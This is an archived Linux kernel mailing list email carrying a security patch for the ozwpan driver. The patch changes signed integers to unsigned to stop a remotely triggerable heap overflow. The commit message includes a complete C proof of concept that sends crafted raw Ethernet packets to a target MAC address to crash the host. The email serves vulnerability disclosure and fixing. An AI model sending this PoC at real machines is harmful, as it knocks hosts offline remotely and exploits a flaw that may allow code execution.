Return-Path: Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand id S1753354AbbEZM0d (ORCPT ); Tue, 26 May 2015 08:26:33 -0400 Received: from [192.95.5.64] ([192.95.5.64]:45893 "EHLO frisell.zx2c4.com" rhost-flags-FAIL-FAIL-OK-OK) by vger.kernel.org with ESMTP id S1753300AbbEZM0a (ORCPT ); Tue, 26 May 2015 08:26:30 -0400 From: "Jason A. Donenfeld" To: oss-security , linux-kernel@vger.kernel.org, Shigekatsu Tateno , Greg Kroah-Hartman , devel@driverdev.osuosl.org Cc: "Jason A. Donenfeld" Subject: [PATCH v2 2/4] ozwpan: Use unsigned ints to prevent heap overflow Date: Tue, 26 May 2015 14:17:47 +0200 Message-Id: <1432642669-7289-3-git-send-email-Jason@zx2c4.com> X-Mailer: git-send-email 2.4.1 In-Reply-To: <1432642669-7289-1-git-send-email-Jason@zx2c4.com> References: <1431543500-4847-1-git-send-email-Jason@zx2c4.com> <1432642669-7289-1-git-send-email-Jason@zx2c4.com> Sender: linux-kernel-owner@vger.kernel.org List-ID: X-Mailing-List: linux-kernel@vger.kernel.org Content-Length: 6477 Lines: 230 Using signed integers, the subtraction between required_size and offset could wind up being negative, resulting in a memcpy into a heap buffer with a negative length, resulting in huge amounts of network-supplied data being copied into the heap, which could potentially lead to remote code execution.. This is remotely triggerable with a magic packet. A PoC which obtains DoS follows below. It requires the ozprotocol.h file from this module. =-=-=-=-=-= #include #include #include #include #include #include #include #include #include #include #define u8 uint8_t #define u16 uint16_t #define u32 uint32_t #define __packed __attribute__((__packed__)) #include "ozprotocol.h" static int hex2num(char c) { if (c >= '0' && c <= '9') return c - '0'; if (c >= 'a' && c <= 'f') return c - 'a' + 10; if (c >= 'A' && c <= 'F') return c - 'A' + 10; return -1; } static int hwaddr_aton(const char *txt, uint8_t *addr) { int i; for (i = 0; i < 6; i++) { int a, b; a = hex2num(*txt++); if (a < 0) return -1; b = hex2num(*txt++); if (b < 0) return -1; *addr++ = (a << 4) | b; if (i < 5 && *txt++ != ':') return -1; } return 0; } int main(int argc, char *argv[]) { if (argc < 3) { fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); return 1; } uint8_t dest_mac[6]; if (hwaddr_aton(argv[2], dest_mac)) { fprintf(stderr, "Invalid mac address.\n"); return 1; } int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); if (sockfd < 0) { perror("socket"); return 1; } struct ifreq if_idx; int interface_index; strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { perror("SIOCGIFINDEX"); return 1; } interface_index = if_idx.ifr_ifindex; if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { perror("SIOCGIFHWADDR"); return 1; } uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_elt_connect_req oz_elt_connect_req; } __packed connect_packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(0) }, .oz_elt = { .type = OZ_ELT_CONNECT_REQ, .length = sizeof(struct oz_elt_connect_req) }, .oz_elt_connect_req = { .mode = 0, .resv1 = {0}, .pd_info = 0, .session_id = 0, .presleep = 35, .ms_isoc_latency = 0, .host_vendor = 0, .keep_alive = 0, .apps = htole16((1 << OZ_APPID_USB) | 0x1), .max_len_div16 = 0, .ms_per_isoc = 0, .up_audio_buf = 0, .ms_per_elt = 0 } }; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_get_desc_rsp oz_get_desc_rsp; } __packed pwn_packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(1) }, .oz_elt = { .type = OZ_ELT_APP_DATA, .length = sizeof(struct oz_get_desc_rsp) }, .oz_get_desc_rsp = { .app_id = OZ_APPID_USB, .elt_seq_num = 0, .type = OZ_GET_DESC_RSP, .req_id = 0, .offset = htole16(2), .total_size = htole16(1), .rcode = 0, .data = {0} } }; struct sockaddr_ll socket_address = { .sll_ifindex = interface_index, .sll_halen = ETH_ALEN, .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }; if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } usleep(300000); if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } return 0; } Signed-off-by: Jason A. Donenfeld --- drivers/staging/ozwpan/ozhcd.c | 8 ++++---- drivers/staging/ozwpan/ozusbif.h | 4 ++-- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/drivers/staging/ozwpan/ozhcd.c b/drivers/staging/ozwpan/ozhcd.c index 5ff4716..784b5ec 100644 --- a/drivers/staging/ozwpan/ozhcd.c +++ b/drivers/staging/ozwpan/ozhcd.c @@ -746,8 +746,8 @@ void oz_hcd_pd_reset(void *hpd, void *hport) /* * Context: softirq */ -void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, const u8 *desc, - int length, int offset, int total_size) +void oz_hcd_get_desc_cnf(void *hport, u8 req_id, u8 status, const u8 *desc, + u8 length, u16 offset, u16 total_size) { struct oz_port *port = hport; struct urb *urb; @@ -759,8 +759,8 @@ void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, const u8 *desc, if (!urb) return; if (status == 0) { - int copy_len; - int required_size = urb->transfer_buffer_length; + unsigned int copy_len; + unsigned int required_size = urb->transfer_buffer_length; if (required_size > total_size) required_size = total_size; diff --git a/drivers/staging/ozwpan/ozusbif.h b/drivers/staging/ozwpan/ozusbif.h index 4249fa3..d2a6085 100644 --- a/drivers/staging/ozwpan/ozusbif.h +++ b/drivers/staging/ozwpan/ozusbif.h @@ -29,8 +29,8 @@ void oz_usb_request_heartbeat(void *hpd); /* Confirmation functions. */ -void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, - const u8 *desc, int length, int offset, int total_size); +void oz_hcd_get_desc_cnf(void *hport, u8 req_id, u8 status, + const u8 *desc, u8 length, u16 offset, u16 total_size); void oz_hcd_control_cnf(void *hport, u8 req_id, u8 rcode, const u8 *data, int data_len); -- 2.4.1 -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majordomo@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/